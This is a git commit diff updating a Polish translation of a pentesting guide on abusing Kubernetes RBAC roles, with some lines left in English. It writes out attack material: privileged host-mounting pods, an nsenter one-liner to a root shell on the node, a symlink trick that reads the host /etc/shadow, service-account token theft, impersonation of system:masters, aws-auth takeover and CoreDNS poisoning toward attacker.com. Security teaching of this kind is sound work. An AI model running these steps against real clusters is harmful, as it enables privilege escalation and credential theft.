Translated ['', 'src/pentesting-cloud/kubernetes-security/abusing-roles-

This commit is contained in:
Translator
2026-02-12 12:40:54 +00:00
parent bbd758ca06
commit 3ec84ec59e
2 changed files with 201 additions and 174 deletions
@@ -1,23 +1,23 @@
# Abusing Roles/ClusterRoles in Kubernetes
# Nadużywanie Roles/ClusterRoles w Kubernetes
{{#include ../../../banners/hacktricks-training.md}}
Tutaj możesz znaleźć potencjalnie niebezpieczne konfiguracje Roles i ClusterRoles.\
Pamiętaj, że możesz uzyskać wszystkie obsługiwane zasoby za pomocą `kubectl api-resources`
Tutaj znajdziesz kilka potencjalnie niebezpiecznych konfiguracji Roles i ClusterRoles.\
Pamiętaj, że możesz uzyskać listę wszystkich obsługiwanych zasobów za pomocą `kubectl api-resources`
## **Podnoszenie Uprawnień**
## **Privilege Escalation**
Odnosimy się do sztuki uzyskiwania **dostępu do innego podmiotu** w klastrze **z innymi uprawnieniami** (w obrębie klastra kubernetes lub do zewnętrznych chmur) niż te, które już posiadasz. W Kubernetes istnieją zasadniczo **4 główne techniki podnoszenia uprawnień**:
Odnosząc się do sztuki uzyskania **dostępu do innego principal** w klastrze **o innych uprawnieniach** (w obrębie klastra kubernetes lub do zewnętrznych chmur) niż te, które już posiadasz, w Kubernetes zasadniczo istnieją **4 główne techniki eskalacji uprawnień**:
- Możliwość **podszywania się** pod innych użytkowników/grupy/SAs z lepszymi uprawnieniami w obrębie klastra kubernetes lub do zewnętrznych chmur
- Możliwość **tworzenia/patchowania/uruchamiania podów**, gdzie możesz **znaleźć lub podłączyć SAs** z lepszymi uprawnieniami w obrębie klastra kubernetes lub do zewnętrznych chmur
- Możliwość **czytania sekretów**, ponieważ tokeny SAs są przechowywane jako sekrety
- Możliwość **ucieczki do węzła** z kontenera, gdzie możesz ukraść wszystkie sekrety kontenerów działających na węźle, dane uwierzytelniające węzła oraz uprawnienia węzła w obrębie chmury, w której działa (jeśli w ogóle)
- Piątą techniką, która zasługuje na wzmiankę, jest możliwość **uruchomienia port-forward** w podzie, ponieważ możesz uzyskać dostęp do interesujących zasobów w tym podzie.
- Mieć możliwość **impersonate** innych user/groups/SAs z wyższymi uprawnieniami w klastrze Kubernetes lub w zewnętrznych chmurach
- Mieć możliwość **create/patch/exec pods**, w których możesz **znaleźć lub attach SAs** z wyższymi uprawnieniami w klastrze Kubernetes lub w zewnętrznych chmurach
- Mieć możliwość **read secrets**, ponieważ tokeny SAs są przechowywane jako secrets
- Mieć możliwość **escape to the node** z kontenera, gdzie możesz ukraść wszystkie secrets kontenerów działających na node, poświadczenia node oraz uprawnienia node w chmurze, w której działa (jeśli istnieją)
- Piątą techniką wartą wspomnienia jest możliwość **run port-forward** w pod, ponieważ możesz uzyskać dostęp do interesujących zasobów wewnątrz tego podu.
### Access Any Resource or Verb (Wildcard)
**dziki znak (\*) daje uprawnienia do dowolnego zasobu z dowolnym czasownikiem**. Jest używany przez administratorów. W obrębie ClusterRole oznacza to, że atakujący mógłby nadużyć anynamespace w klastrze
The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse anynamespace in the cluster
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -29,13 +29,13 @@ rules:
resources: ["*"]
verbs: ["*"]
```
### Uzyskaj dostęp do dowolnego zasobu za pomocą konkretnego czasownika
### Dostęp do dowolnego zasobu z określonym verb
W RBAC niektóre uprawnienia niosą ze sobą istotne ryzyko:
W RBAC niektóre uprawnienia niosą poważne ryzyko:
1. **`create`:** Przyznaje możliwość tworzenia dowolnego zasobu klastra, co stwarza ryzyko eskalacji uprawnień.
2. **`list`:** Umożliwia wyświetlanie wszystkich zasobów, co może prowadzić do wycieku wrażliwych danych.
3. **`get`:** Pozwala na dostęp do sekretów z kont serwisowych, co stanowi zagrożenie dla bezpieczeństwa.
1. **`create`:** Umożliwia tworzenie dowolnego zasobu klastra, co może prowadzić do eskalacji uprawnień.
2. **`list`:** Pozwala na listowanie wszystkich zasobów, co może spowodować leak wrażliwych danych.
3. **`get`:** Umożliwia dostęp do secrets należących do service accounts, co stanowi zagrożenie bezpieczeństwa.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -49,9 +49,9 @@ verbs: ["create", "list", "get"]
```
### Pod Create - Steal Token
Atakujący z uprawnieniami do tworzenia poda mógłby dołączyć uprzywilejowane Konto Usługi do poda i ukraść token, aby podszyć się pod Konto Usługi. Efektywnie eskalując uprawnienia do niego.
Atakujący mający uprawnienia do tworzenia podów może dołączyć uprzywilejowany Service Account do poda i ukraść token, aby podszyć się pod ten Service Account, efektywnie eskalując jego uprawnienia.
Przykład poda, który ukradnie token konta usługi `bootstrap-signer` i wyśle go do atakującego:
Przykład poda, który ukradnie token Service Account `bootstrap-signer` i wyśle go do atakującego:
```yaml
apiVersion: v1
kind: Pod
@@ -74,12 +74,12 @@ hostNetwork: true
```
### Pod Create & Escape
Poniżej przedstawiono wszystkie uprawnienia, jakie może mieć kontener:
Poniżej przedstawiono wszystkie uprawnienia, które może mieć kontener:
- **Dostęp uprzywilejowany** (wyłączanie zabezpieczeń i ustawianie możliwości)
- **Wyłączenie przestrzeni nazw hostIPC i hostPid**, co może pomóc w eskalacji uprawnień
- **Wyłączenie przestrzeni nazw hostNetwork**, co daje dostęp do kradzieży uprawnień chmurowych węzłów i lepszego dostępu do sieci
- **Zamontowanie hostów / wewnątrz kontenera**
- **Privileged access** (wyłączanie zabezpieczeń i ustawianie uprawnień (capabilities))
- **Disable namespaces hostIPC and hostPid** które mo pomóc w eskalacji uprawnień
- **Disable hostNetwork** namespace, umożliwiając przejęcie uprawnień węzłów w chmurze oraz lepszy dostęp do sieci
- **Mount hosts /** wewnątrz kontenera
```yaml:super_privs.yaml
apiVersion: v1
kind: Pod
@@ -115,19 +115,19 @@ volumes:
hostPath:
path: /
```
Utwórz pod z:
Utwórz pod za pomocą:
```bash
kubectl --token $token create -f mount_root.yaml
```
Jednozdaniowy z [tego tweeta](https://twitter.com/mauilion/status/1129468485480751104) oraz z dodatkami:
One-liner z [this tweet](https://twitter.com/mauilion/status/1129468485480751104) i z kilkoma dodatkami:
```bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
Teraz, gdy możesz uciec do węzła, sprawdź techniki poeksploatacyjne w:
Teraz, gdy możesz uciec na node sprawdź techniki post-exploitation w:
#### Stealth
Prawdopodobnie chcesz być **bardziej dyskretny**, na następnych stronach możesz zobaczyć, do czego będziesz miał dostęp, jeśli stworzysz pod, włączając tylko niektóre z wymienionych uprawnień w poprzednim szablonie:
You probably want to be **stealthier**, w poniższych stronach możesz zobaczyć, do czego miałbyś dostęp jeśli utworzysz pod włączając tylko niektóre z wymienionych uprawnień w poprzednim szablonie:
- **Privileged + hostPID**
- **Privileged only**
@@ -136,14 +136,14 @@ Prawdopodobnie chcesz być **bardziej dyskretny**, na następnych stronach może
- **hostNetwork**
- **hostIPC**
_Możesz znaleźć przykład, jak stworzyć/wykorzystać poprzednie konfiguracje podów z uprawnieniami w_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
_Przykłady, jak tworzyć/wykorzystywać powyższe konfiguracje uprzywilejowanych podów znajdziesz w_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
### Pod Create - Move to cloud
Jeśli możesz **stworzyć** **pod** (i opcjonalnie **konto usługi**), możesz być w stanie **uzyskać uprawnienia w środowisku chmurowym** poprzez **przypisanie ról chmurowych do poda lub konta usługi** i następnie uzyskanie do niego dostępu.\
Co więcej, jeśli możesz stworzyć **pod z przestrzenią nazw sieci hosta**, możesz **ukraść rolę IAM** instancji **węzła**.
Jeśli możesz **utworzyć** a **pod** (a opcjonalnie **service account**) możesz być w stanie **uzyskać uprawnienia w środowisku chmurowym** poprzez **przypisanie cloud roles do poda lub service account** i następnie dostęp do nich.\
Ponadto, jeśli możesz utworzyć **pod z przestrzenią nazw sieci hosta** możesz **ukraść rolę IAM** instancji **node**.
Aby uzyskać więcej informacji, sprawdź:
For more information check:
{{#ref}}
pod-escape-privileges.md
@@ -151,9 +151,9 @@ pod-escape-privileges.md
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
Możliwe jest nadużycie tych uprawnień do **stworzenia nowego poda** i uzyskania uprawnień, jak w poprzednim przykładzie.
Można nadużyć tych uprawnień, aby **utworz nowy pod** i **eskalować uprawnienia** jak w poprzednim przykładzie.
Poniższy yaml **tworzy daemonset i eksfiltruje token SA** wewnątrz poda:
The following yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod:
```yaml
apiVersion: apps/v1
kind: DaemonSet
@@ -191,32 +191,32 @@ path: /
```
### **Pods Exec**
**`pods/exec`** to zasób w kubernetes używany do **uruchamiania poleceń w powłoce wewnątrz poda**. Umożliwia to **uruchamianie poleceń wewnątrz kontenerów lub uzyskanie powłoki wewnątrz**.
**`pods/exec`** to zasób w kubernetes używany do **uruchamiania poleceń w shellu wewnątrz poda**. Umożliwia to **wykonywanie poleceń wewnątrz kontenerów lub uzyskanie powłoki**.
Dlatego możliwe jest **dostanie się do poda i kradzież tokena SA**, lub wejście do uprzywilejowanego poda, ucieczka do węzła i kradzież wszystkich tokenów podów w węźle oraz (nadużycie) węzła:
Dlatego możliwe jest **dostanie się do poda i kradzież tokena SA**, lub wejście do uprzywilejowanego poda, ucieczka na node i kradzież wszystkich tokenów podów na tym node oraz (ab)use node'a:
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
> [!NOTE]
> Domyślnie polecenie jest wykonywane w pierwszym kontenerze poda. Uzyskaj **wszystkie kontenery w podzie** za pomocą `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'`, a następnie **wskaż kontener**, w którym chcesz je wykonać, używając `kubectl exec -it <pod_name> -c <container_name> -- sh`.
> Domyślnie polecenie jest wykonywane w pierwszym kontenerze w podzie. Pobierz **wszystkie kontenery w podzie** za pomocą `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'`, a następnie **wskaż kontener**, w którym chcesz je uruchomić, używając `kubectl exec -it <pod_name> -c <container_name> -- sh`
Jeśli to kontener bez dystrybucji, możesz spróbować użyć **wbudowanych poleceń powłoki**, aby uzyskać informacje o kontenerach lub przesłać własne narzędzia, takie jak **busybox**, używając: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
Jeśli to distroless container, możesz spróbować użyć **shell builtins**, aby uzyskać informacje o kontenerach lub wgrać własne narzędzia, np. **busybox**, używając: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
### port-forward
To uprawnienie pozwala na **przekierowanie jednego lokalnego portu do jednego portu w określonym podzie**. Ma to na celu ułatwienie debugowania aplikacji działających wewnątrz poda, ale atakujący może to wykorzystać, aby uzyskać dostęp do interesujących (jak DB) lub podatnych aplikacji (web?) wewnątrz poda:
To uprawnienie pozwala **przekierować jeden lokalny port na jeden port w określonym podzie**. Służy to ułatwieniu debugowania aplikacji działających wewnątrz poda, ale atakujący może to nadużyć, aby uzyskać dostęp do interesujących (np. DBs) lub podatnych aplikacji (webs?) wewnątrz poda:
```bash
kubectl port-forward pod/mypod 5000:5000
```
### Hosts Writable /var/log/ Escape
As [**wskazano w tym badaniu**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), jeśli możesz uzyskać dostęp lub utworzyć pod z **zamontowanym katalogiem `/var/log/` hosta**, możesz **uciec z kontenera**.\
Dzieje się tak głównie dlatego, że gdy **Kube-API próbuje uzyskać logi** kontenera (używając `kubectl logs <pod>`), **żąda pliku `0.log`** podu za pomocą punktu końcowego `/logs/` usługi **Kubelet**.\
Usługa Kubelet udostępnia punkt końcowy `/logs/`, który zasadniczo **udostępnia system plików `/var/log` kontenera**.
As [**wskazano w tym badaniu**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), jeśli możesz uzyskać dostęp do poda lub utworzyć poda z zamontowanym katalogiem `/var/log/` hosta, możesz **uciec z kontenera**.\
Dzieje się tak, ponieważ gdy **Kube-API próbuje pobrać logi** kontenera (używając `kubectl logs <pod>`), żąda ono pliku `0.log` poda używając punktu końcowego `/logs/` usługi **Kubelet**.\
Usługa Kubelet udostępnia punkt końcowy `/logs/`, który w praktyce **udostępnia system plików `/var/log` kontenera**.
Dlatego atakujący z **dostępem do zapisu w folderze /var/log/** kontenera mógłby nadużyć tego zachowania na 2 sposoby:
W związku z tym atakujący mający **możliwość zapisu w katalogu /var/log/** kontenera może wykorzystać to zachowanie na 2 sposoby:
- Modyfikując plik `0.log` swojego kontenera (zwykle znajdujący się w `/var/logs/pods/namespace_pod_uid/container/0.log`), aby był **symlinkiem wskazującym na `/etc/shadow`** na przykład. Wtedy będziesz mógł wyeksfiltrować plik shadow hosta, wykonując:
- Modyfikując plik `0.log` swojego kontenera (zwykle znajdujący się w `/var/logs/pods/namespace_pod_uid/container/0.log`) tak, aby był **symlinkiem wskazującym na `/etc/shadow`**, na przykład. Wtedy będziesz w stanie exfiltrate plik shadow hosta wykonując:
```bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
@@ -224,7 +224,7 @@ kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
```
- Jeśli atakujący kontroluje jakikolwiek podmiot z **uprawnieniami do odczytu `nodes/log`**, może po prostu utworzyć **symlink** w `/host-mounted/var/log/sym` do `/` i podczas **dostępu do `https://<gateway>:10250/logs/sym/` wyświetli system plików root** hosta (zmiana symlinka może zapewnić dostęp do plików).
- Jeśli atakujący kontroluje dowolny principal z **uprawnieniami do odczytu `nodes/log`**, może po prostu utworzyć **symlink** w `/host-mounted/var/log/sym` wskazujący na `/` i przy **dostępie do `https://<gateway>:10250/logs/sym/` wyświetli system plików root hosta** (zmiana symlink może umożliwić dostęp do plików).
```bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
@@ -236,23 +236,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
<a href="lib">lib</a>
[...]
```
**Laboratorium i zautomatyzowany exploit można znaleźć w** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
**Laboratorium i zautomatyzowany exploit można znaleźć na** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
#### Ominięcie ochrony readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
#### Omijanie ochrony readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
Jeśli masz szczęście i wysoko uprzywilejowana zdolność `CAP_SYS_ADMIN` jest dostępna, możesz po prostu ponownie zamontować folder jako rw:
Jeśli będziesz miał szczęście i wysoce uprzywilejowana capability `CAP_SYS_ADMIN` jest dostępna, możesz po prostu ponownie zamontować folder jako `rw`:
```bash
mount -o rw,remount /hostlogs/
```
#### Obejście ochrony hostPath readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
#### Omijanie hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
Jak stwierdzono w [**tych badaniach**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), możliwe jest obejście ochrony:
Jak stwierdzono w [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), możliwe jest obejście tej ochrony:
```yaml
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
```
Który miał na celu zapobieganie ucieczkom, jak te poprzednie, poprzez zamiast używania montażu hostPath, użycie PersistentVolume i PersistentVolumeClaim do zamontowania folderu hosta w kontenerze z dostępem do zapisu:
Co miało zapobiec ucieczkom podobnym do poprzednich — zamiast użycia hostPath mount użyto PersistentVolume i PersistentVolumeClaim, aby zamontować katalog hosts w kontenerze z dostępem do zapisu:
```yaml
apiVersion: v1
kind: PersistentVolume
@@ -298,16 +298,16 @@ volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
```
### **Podszywanie się pod uprzywilejowane konta**
### **Podszywanie się pod konta uprzywilejowane**
Z uprawnieniem [**podszywania się pod użytkownika**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), atakujący może podszyć się pod uprzywilejowane konto.
Dysponując uprawnieniem [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), atakujący może podszyć się pod konto uprzywilejowane.
Wystarczy użyć parametru `--as=<username>` w poleceniu `kubectl`, aby podszyć się pod użytkownika, lub `--as-group=<group>`, aby podszyć się pod grupę:
Wystarczy użyć parametru `--as=<username>` w poleceniu `kubectl`, aby podszyć się pod użytkownika, lub `--as-group=<group>` aby podszyć się pod grupę:
```bash
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
```
Lub użyj interfejsu API REST:
Lub użyj REST API:
```bash
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
@@ -315,15 +315,16 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Listing Secrets
### Listowanie sekretów
Uprawnienie do **wyświetlania sekretów może pozwolić atakującemu na rzeczywiste odczytanie sekretów** uzyskując dostęp do punktu końcowego REST API:
Uprawnienie do **listowania sekretów może umożliwić atakującemu faktyczny odczyt ich zawartości** poprzez dostęp do REST API endpoint:
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Tworzenie i Odczytywanie Sekretów
### Tworzenie i odczytywanie Secrets
Istnieje specjalny rodzaj sekretu Kubernetes typu **kubernetes.io/service-account-token**, który przechowuje tokeny konta usługi. Jeśli masz uprawnienia do tworzenia i odczytywania sekretów, a także znasz nazwę konta usługi, możesz stworzyć sekret w następujący sposób, a następnie ukraść token konta usługi ofiary z niego:
Istnieje specjalny rodzaj Kubernetes secret typu **kubernetes.io/service-account-token**, który przechowuje serviceaccount tokens.
Jeśli masz uprawnienia do tworzenia i odczytywania secrets i znasz nazwę serviceaccount, możesz utworzyć secret w następujący sposób, a następnie ukraść z niego token serviceaccount ofiary:
```yaml
apiVersion: v1
kind: Secret
@@ -334,7 +335,7 @@ annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
```
Przykład wykorzystania:
Przykład eksploatacji:
```bash
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
@@ -382,17 +383,19 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
"type": "kubernetes.io/service-account-token"
}
```
Zauważ, że jeśli masz pozwolenie na tworzenie i odczytywanie sekretów w danej przestrzeni nazw, konto serwisowe ofiary również musi znajdować się w tej samej przestrzeni nazw.
Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.
### Odczyt sekretu brutalne wymuszanie identyfikatorów tokenów
### Odczyt secret brute-forcing token IDs
Podczas gdy atakujący posiadający token z uprawnieniami do odczytu wymaga dokładnej nazwy sekretu, aby go użyć, w przeciwieństwie do szerszego przywileju _**wyświetlania sekretów**_, nadal istnieją luki. Domyślne konta serwisowe w systemie mogą być enumerowane, z każdym powiązanym z sekretem. Te sekrety mają strukturę nazwy: statyczny prefiks, a następnie losowy pięcioznakowy alfanumeryczny token (z wyłączeniem niektórych znaków) zgodnie z [kodem źródłowym](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
Chociaż atakujący posiadający token z uprawnieniami do odczytu potrzebuje dokładnej nazwy secret, aby go użyć w przeciwieństwie do szerszego uprawnienia _**listing secrets**_ — nadal istnieją luki.
Token jest generowany z ograniczonego zestawu 27 znaków (`bcdfghjklmnpqrstvwxz2456789`), a nie z pełnego zakresu alfanumerycznego. To ograniczenie redukuje całkowitą liczbę możliwych kombinacji do 14,348,907 (27^5). W związku z tym atakujący mógłby wykonać atak brutalny, aby wydedukować token w ciągu kilku godzin, co potencjalnie prowadzi do eskalacji uprawnień poprzez uzyskanie dostępu do wrażliwych kont serwisowych.
Domyślne service accounts w systemie można wyliczyć, z których każdy jest powiązany z jednym secret. Te secrets mają strukturę nazwy: stały prefiks, po którym następuje losowy pięcioznakowy alfanumeryczny token (z wyłączeniem niektórych znaków) zgodnie z [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
### EncrpytionConfiguration w czystym tekście
Token jest generowany z ograniczonego zestawu 27 znaków (`bcdfghjklmnpqrstvwxz2456789`), zamiast pełnego zakresu alfanumerycznego. To ograniczenie zmniejsza liczbę możliwych kombinacji do 14,348,907 (27^5). W konsekwencji atakujący mógłby wykonać atak brute-force w celu odgadnięcia tokena w ciągu kilku godzin, co potencjalnie prowadzi do eskalacji uprawnień przez dostęp do wrażliwych service accounts.
Możliwe jest znalezienie kluczy w czystym tekście do szyfrowania danych w spoczynku w tego typu obiektach jak:
### EncrpytionConfiguration w postaci jawnej
W tego typu obiekcie można znaleźć klucze w postaci jawnej do szyfrowania danych w spoczynku, np.:
```yaml
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
@@ -449,11 +452,11 @@ keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
```
### Certificate Signing Requests
### Żądania podpisania certyfikatu
Jeśli masz czasowniki **`create`** w zasobie `certificatesigningrequests` (lub przynajmniej w `certificatesigningrequests/nodeClient`). Możesz **create** nowy CeSR dla **nowego węzła.**
Jeśli masz uprawnienie **`create`** dla zasobu `certificatesigningrequests` (albo przynajmniej dla `certificatesigningrequests/nodeClient`), możesz **utworzyć** nowy CeSR dla **nowego node.**
Zgodnie z [dokumentacją, możliwe jest automatyczne zatwierdzanie tych żądań](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), więc w takim przypadku **nie potrzebujesz dodatkowych uprawnień**. Jeśli nie, musisz mieć możliwość zatwierdzenia żądania, co oznacza aktualizację w `certificatesigningrequests/approval` i `approve` w `signers` z resourceName `<signerNameDomain>/<signerNamePath>` lub `<signerNameDomain>/*`
Zgodnie z [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), w takim przypadku **nie potrzebujesz dodatkowych uprawnień**. Jeśli nie, będziesz musiał móc zatwierdz żądanie, co oznacza uprawnienie update do `certificatesigningrequests/approval` oraz `approve` w `signers` z resourceName `<signerNameDomain>/<signerNamePath>` lub `<signerNameDomain>/*`
Przykład **roli** z wszystkimi wymaganymi uprawnieniami to:
```yaml
@@ -486,19 +489,19 @@ resourceNames:
verbs:
- approve
```
Więc, z nowym zatwierdzonym CSR węzła, możesz **wykorzystać** specjalne uprawnienia węzłów do **kradzieży sekretów** i **eskalacji uprawnień**.
Zatem, po zatwierdzeniu nowego node CSR, możesz **abuse** specjalne uprawnienia węzłów, aby **steal secrets** i **escalate privileges**.
W [**tym poście**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) i [**tym**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) konfiguracja GKE K8s TLS Bootstrap jest skonfigurowana z **automatycznym podpisywaniem** i jest wykorzystywana do generowania poświadczeń nowego węzła K8s, a następnie wykorzystywana do eskalacji uprawnień poprzez kradzież sekretów.\
Jeśli **masz wspomniane uprawnienia, możesz zrobić to samo**. Zauważ, że pierwszy przykład omija błąd uniemożliwiający nowemu węzłowi dostęp do sekretów wewnątrz kontenerów, ponieważ **węzeł może uzyskać dostęp tylko do sekretów kontenerów zamontowanych na nim.**
W [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) oraz [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) konfiguracja GKE K8s TLS Bootstrap ma włączone **automatic signing** i jest abused do wygenerowania poświadczeń nowego K8s Node, które następnie można abuse, aby escalate privileges i steal secrets.\
Jeśli **masz wspomniane privileges, możesz zrobić to samo**. Zauważ, że pierwszy przykład omija błąd uniemożliwiający nowemu node dostęp do secrets wewnątrz kontenerów, ponieważ **node can only access the secrets of containers mounted on it.**
Sposób na obejście tego to po prostu **utworzenie poświadczeń węzła dla nazwy węzła, na którym zamontowany jest kontener z interesującymi sekretami** (ale sprawdź, jak to zrobić w pierwszym poście):
Sposób obejścia polega po prostu na **create a node credentials for the node name where the container with the interesting secrets is mounted** (ale sprawdź, jak to zrobić w pierwszym poście):
```bash
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
```
### AWS EKS aws-auth configmaps
Podmioty, które mogą modyfikować **`configmaps`** w przestrzeni nazw kube-system na klastrach EKS (mus być w AWS), mogą uzyskać uprawnienia administratora klastra, nadpisując **aws-auth** configmap.\
Potrzebne czasowniki to **`update`** i **`patch`**, lub **`create`**, jeśli configmap nie został utworzony:
Podmioty, które mogą modyfikować **`configmaps`** w przestrzeni nazw kube-system na klastrach EKS (musi być w AWS) mogą uzyskać uprawnienia administratora klastra przez nadpisanie configmapy **aws-auth**.\
Wymagane operacje to **`update`** i **`patch`**, lub **`create`** jeśli configmap jeszcze nie istnieje:
```bash
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
@@ -538,18 +541,18 @@ groups:
- system:masters
```
> [!WARNING]
> Możesz użyć **`aws-auth`** do **utrzymania** dostępu dla użytkowników z **innych kont**.
> Możesz użyć **`aws-auth`** do **persistence**, przyznając dostęp użytkownikom z **innych kont**.
>
> Jednak `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **nie działa z innego konta**. Ale właściwie `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` działa, jeśli wstawisz ARN klastra zamiast samej nazwy.\
> Aby `kubectl` działał, upewnij się, że **skonfigurujesz** **kubeconfig ofiary** i w argumentach exec aws dodaj `--profile other_account_role`, aby kubectl używał profilu innego konta do uzyskania tokena i kontaktu z AWS.
> Jednak `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **nie działa z innego konta**. Ale w rzeczywistości `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` działa, jeśli podasz ARN klastra zamiast samej nazwy.\
> Aby `kubectl` działał, upewnij się, że skonfigurowałeś **victims kubeconfig** i w aws exec args dodaj `--profile other_account_role`, dzięki czemu kubectl będzie używał profilu innego konta do pobrania tokena i komunikacji z AWS.
### CoreDNS config map
Jeśli masz uprawnienia do modyfikacji **`coredns` configmap** w przestrzeni nazw `kube-system`, możesz zmodyfikować adresy, do których będą rozwiązywane domeny, aby móc przeprowadzać ataki MitM w celu **kradzieży wrażliwych informacji lub wstrzykiwania złośliwej treści**.
Jeśli masz uprawnienia do modyfikacji **`coredns` configmap** w namespace `kube-system`, możesz zmienić adresy, na które będą rozwiązywane domeny, aby przeprowadzić ataki MitM, których celem będzie **kradzież wrażliwych informacji lub wstrzyknięcie złośliwej zawartości**.
Potrzebne czasowniki to **`update`** i **`patch`** dla **`coredns`** configmap (lub wszystkich config maps).
Wymagane operacje to **`update`** i **`patch`** na **`coredns`** configmap (lub na wszystkich config maps).
Zwykły **plik coredns** zawiera coś takiego:
Standardowy plik **coredns** wygląda mniej więcej tak:
```yaml
data:
Corefile: |
@@ -579,58 +582,75 @@ reload
loadbalance
}
```
Atakujący mógłby pobrać to, uruchamiając `kubectl get configmap coredns -n kube-system -o yaml`, zmodyfikować, dodając coś takiego jak `rewrite name victim.com attacker.com`, aby za każdym razem, gdy uzyskiwany jest dostęp do `victim.com`, w rzeczywistości dostęp byłby do `attacker.com`. Następnie można to zastosować, uruchamiając `kubectl apply -f poison_dns.yaml`.
An attacker could download it running `kubectl get configmap coredns -n kube-system -o yaml`, modify it adding something like `rewrite name victim.com attacker.com` so whenever `victim.com` is accessed actually `attacker.com` is the domain that is going to be accessed. And then apply it running `kubectl apply -f poison_dns.yaml`.
Inną opcją jest po prostu edytowanie pliku, uruchamiając `kubectl edit configmap coredns -n kube-system` i wprowadzając zmiany.
Another option is to just edit the file running `kubectl edit configmap coredns -n kube-system` and making changes.
### Eskalacja w GKE
Są **2 sposoby przypisania uprawnień K8s do podmiotów GCP**. W każdym przypadku podmiot musi również mieć uprawnienie **`container.clusters.get`**, aby móc zebrać dane uwierzytelniające do uzyskania dostępu do klastra, lub będziesz musiał **wygenerować własny plik konfiguracyjny kubectl** (postępuj zgodnie z następującym linkiem).
There are **2 ways to assign K8s permissions to GCP principals**. In any case the principal also needs the permission **`container.clusters.get`** to be able to gather credentials to access the cluster, or you will need to **generate your own kubectl config file** (follow the next link).
> [!WARNING]
